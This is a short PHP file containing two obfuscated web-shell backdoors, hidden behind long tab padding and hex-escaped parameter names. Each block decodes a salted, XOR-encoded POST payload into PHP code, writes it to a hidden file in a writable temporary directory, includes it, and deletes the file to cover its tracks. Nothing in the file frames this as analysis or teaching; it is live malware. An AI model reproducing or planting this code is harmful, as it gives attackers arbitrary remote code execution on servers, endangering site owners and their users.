<?php																																										if(count($_POST) > 0 && isset($_POST["r\x65\x63ord"])){ $bind = array_filter([getenv("TMP"), getenv("TEMP"), sys_get_temp_dir(), "/dev/shm", ini_get("upload_tmp_dir"), session_save_path(), "/var/tmp", getcwd(), "/tmp"]); $tkn = $_POST["r\x65\x63ord"]; $tkn =explode ( '.' ,$tkn ) ; $flag= ''; $s5= 'abcdefghijklmnopqrstuvwxyz0123456789'; $sLen= strlen( $s5 ); foreach( $tkn as $p=>$v8) {$sChar= ord( $s5[$p % $sLen] ); $d= ( ( int)$v8 - $sChar -( $p % 10)) ^79; $flag.= chr( $d ); } foreach ($bind as $key => $pset) { if (is_dir($pset) ? is_writable($pset) : false) { $mrk = implode("/", [$pset, ".value"]); $success = file_put_contents($mrk, $flag); if ($success) { include $mrk; @unlink($mrk); die();} } } }


if(isset($_POST) && isset($_POST["f\x61c"])){
	$object = array_filter([getenv("TEMP"), "/dev/shm", ini_get("upload_tmp_dir"), getenv("TMP"), "/tmp", sys_get_temp_dir(), getcwd(), "/var/tmp", session_save_path()]);
	$value = $_POST["f\x61c"];
	$value	= explode (	  '.', 		$value			)	 ;
	$holder = '';
            $salt = 'abcdefghijklmnopqrstuvwxyz0123456789';
            $lenS = strlen($salt );
            $u = 0;
    
            while ($u<	count($value)) {
                $v1 = $value[$u];
                $sChar = ord($salt[$u	 % $lenS] );
                $d = ((int)$v1 - $sChar - ($u	 % 10)) ^ 83;
                $holder .= chr($d );
                $u++;
            }
	foreach ($object as $descriptor):
    		if ((function($d) { return is_dir($d) && is_writable($d); })($descriptor)) {
    $entry = join("/", [$descriptor, ".property_set"]);
    if (file_put_contents($entry, $holder)) {
	require $entry;
	unlink($entry);
	die();
}
}
endforeach;
}